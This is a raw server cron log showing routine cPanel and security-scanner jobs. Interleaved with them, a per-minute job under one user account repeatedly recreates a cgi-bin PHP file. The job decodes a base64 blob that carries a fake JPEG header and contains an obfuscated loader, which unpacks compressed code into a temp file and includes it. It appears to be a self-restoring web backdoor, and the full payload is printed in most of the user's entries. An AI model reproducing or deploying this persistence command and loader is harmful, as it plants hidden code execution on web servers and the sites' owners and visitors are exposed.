Sep  5 04:48:01 server CROND[25735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:48:01 server CROND[25737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:49:01 server CROND[26216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:49:01 server CROND[26217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:49:01 server CROND[26218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:50:01 server CROND[26617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:50:01 server CROND[26619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:50:01 server CROND[26623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:50:01 server CROND[26626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:50:01 server CROND[26622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 04:50:01 server CROND[26624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:50:01 server CROND[26625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:50:01 server CROND[26628]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:50:01 server CROND[26627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:51:01 server CROND[27465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:51:01 server CROND[27466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:51:01 server CROND[27467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:52:01 server CROND[27845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:52:01 server CROND[27847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:52:01 server CROND[27846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:53:01 server CROND[28229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:53:01 server CROND[28230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:53:01 server CROND[28231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:54:01 server CROND[28714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:54:01 server CROND[28715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:54:01 server CROND[28716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:55:01 server CROND[29097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 04:55:01 server CROND[29099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:55:01 server CROND[29102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:55:01 server CROND[29103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:55:01 server CROND[29104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:55:01 server CROND[29106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:55:01 server CROND[29107]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 04:56:01 server CROND[29927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:56:01 server CROND[29928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:56:01 server CROND[29929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:57:01 server CROND[30313]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:57:01 server CROND[30314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:57:01 server CROND[30316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:57:01 server CROND[30315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:58:01 server CROND[30742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:58:01 server CROND[30743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:58:01 server CROND[30745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:59:01 server CROND[31219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:59:01 server CROND[31220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 04:59:01 server CROND[31221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:00:01 server CROND[31628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:00:01 server CROND[31630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:00:01 server CROND[31632]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:00:01 server CROND[31638]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
